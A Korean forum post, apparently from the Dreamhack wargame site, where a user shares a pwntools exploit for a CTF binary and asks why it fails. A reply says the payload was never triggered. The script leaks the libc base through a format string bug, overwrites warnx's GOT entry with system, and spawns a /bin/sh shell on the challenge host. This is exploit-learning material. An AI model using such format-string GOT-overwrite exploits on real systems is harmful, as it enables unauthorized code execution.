익스코드 확인 부탁드립니다.
from pwn import *
#context.log_level = "debug"
r = remote("host3.dreamhack.games", 24119)
#r = process("/home/asdf/dreamhack/string/string")
libc = ELF("/home/asdf/dreamhack/string/libc.so.6")
e = ELF("/home/asdf/dreamhack/string/string")
system = libc.sym['system']
printf_got = e.got['printf']
def inp(input):
r.sendlineafter(b"> ", b'1')
r.sendafter(b": ", input)
def p():
r.sendlineafter(b"> ", b'2')
#libc base
payload = p32(printf_got)
payload += b"%x%x%x%x%s"
inp(payload)
p()
lb = u32(r.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
libc_base = lb - libc.sym['printf']
print("libc base : ", hex(libc_base))
#got overwrite
system = system + libc_base
system1 = hex(system)[:6]
system2 = hex(system)[6:]
print("system : ", hex(system))
fsb = fmtstr_payload(5, {e.got['warnx'] : (libc.sym['system'] + libc_base)})
# fsb = p32(e.got['warnx'])
# fsb += p32(e.got['warnx'] + 2)
# fsb += "%{}c%5$hn".format(int(system2, 16)-4).encode()
# fsb += "%{}c%6$hn".format(int(system1, 16)-int(system2, 16)).encode()
inp(fsb) #got overwrite
inp(b"/bin/sh" + b"\x00")
p()
r.interactive()
gdb로 확인해본 결과 got이 덮히지가 않습니다.
무슨 이유인지는 모르겠어요
혹시나 fmtstr_payload의 문제일 수도 있어서
수동으로도 해봤는데 똑같이 got이 덮히지 않네요ㅠㅠ
아주 조금의 힌트라도 부탁드립니다.
일단 저의 시나리오는 fsb로 libc base를 구하고
warnx의 got을 system함수로 덮은뒤
input함수에서 buf에 "/bin/sh" 를 넣어준뒤
print함수에서 wanrx(buf)를 할 때
최종적으로 system("/bin/sh")를 실행하려고 합니다.
#pwnable
작성자 정보
답변
1
wyv3rn
무플 방지 위원회장
페이로드 삽입 후 print 명령을 실행하시지 않아서 삽입되지 않은.... ㅎㅎ;;
시나리오는 완벽합니다.